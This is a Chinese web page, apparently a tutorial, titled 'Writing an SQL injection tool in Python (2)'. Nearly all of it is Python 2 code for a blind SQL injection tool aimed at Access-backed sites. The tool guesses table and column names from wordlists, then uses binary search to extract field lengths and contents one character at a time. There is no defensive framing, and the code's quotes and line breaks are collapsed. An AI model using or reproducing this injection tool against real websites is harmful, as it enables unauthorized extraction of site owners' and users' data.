当前位置:Gxlcms > 数据库问题 > Python编写SQL注入工具(2)

Python编写SQL注入工具(2)

时间:2021-07-01 10:21:17 帮助过:2人阅读

coding=gb2312 import urllib import string #定义Access注入函数 class AccessInject(): def __init__(self,url): self.url=url self.tableNames=[] self.cloumnNames=[] self.length=0 #定义获取表名的函数,使用文件猜解的方式 #主要SQL语句:.and exists (select * from 数据库表名) def getTableName(self): n=0 tablefile = open("table.txt") for line in tablefile.readlines(): line = string.strip(line) sql = string.join([%20and%20exists%20(select%20*%20from%20,line,)],‘‘) page=urllib.urlopen(self.url).read() pagex=urllib.urlopen(self.url+sql).read() if page==pagex: self.tableNames.append(line) else: continue if len(self.tableNames)==0: n=0 print 未猜解到表名. return n else: n=len(self.tableNames) print 存在表: for t in self.tableNames: print t return n print ‘‘ #定义获取列名的函数 #主要SQL语句:and exists (select 字段名 from 表名) def getColumnName(self,TN): column = open("columns.txt") for columnline in column.readlines(): columnline = string.strip(columnline) sql = string.join([%20and%20exists%20(select%20,columnline,%20from%20,TN,)],‘‘) page=urllib.urlopen(self.url).read() pagex=urllib.urlopen(self.url+sql).read() if page==pagex: self.cloumnNames.append(columnline) else: continue if len(self.cloumnNames)==0: print 未猜解出列名. else: print 存在列: for c in self.cloumnNames: print c #定义获取字段长度的函数 #主要使用二分法 #主要SQL语句:and (select top 1 len(字段) from 表名)> n def getColumnLenth(self,TN,CN,f1=0,f2=36): page=urllib.urlopen(self.url).read() while f1<=f2: mid=(f1+f2)/2 u=self.url+%20and%20(select%20top%201%20len%20( u+=CN u+=)%20from%20 u+=TN u+=)> ux=u+str(mid) pagex=urllib.urlopen(ux).read() if page==pagex: uy=u+str(mid+1) pagey=urllib.urlopen(uy).read() if page!=pagey: self.length=mid+1 print CN,内容长度:,self.length return self.length break else: f1=mid+1 else: f2=mid #定义获取字段内容的函数 #主要使用二分法 #主要SQL语句:and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 def getContent(self,TN,CN,lenth): content=‘‘ page=urllib.urlopen(self.url).read() for n in range(1,lenth+1): f1=32 f2=128 while f1<=f2: mid=(f1+f2)/2 url=self.url+"%20and%20(select%20top%201%20asc%20(mid(" url+=CN url+=, url+=str(n) url+=",1))%20from%20" url+=TN url+=")>" urlx=url+str(mid) pagex=urllib.urlopen(urlx).read() if page==pagex: urly=url+str(mid+1) pagey=urllib.urlopen(urly).read() if page!=pagey: content+=chr(mid+1) break else: f1=mid else: f2=mid print CN,内容:,content

 

Python编写SQL注入工具(2)

标签:

人气教程排行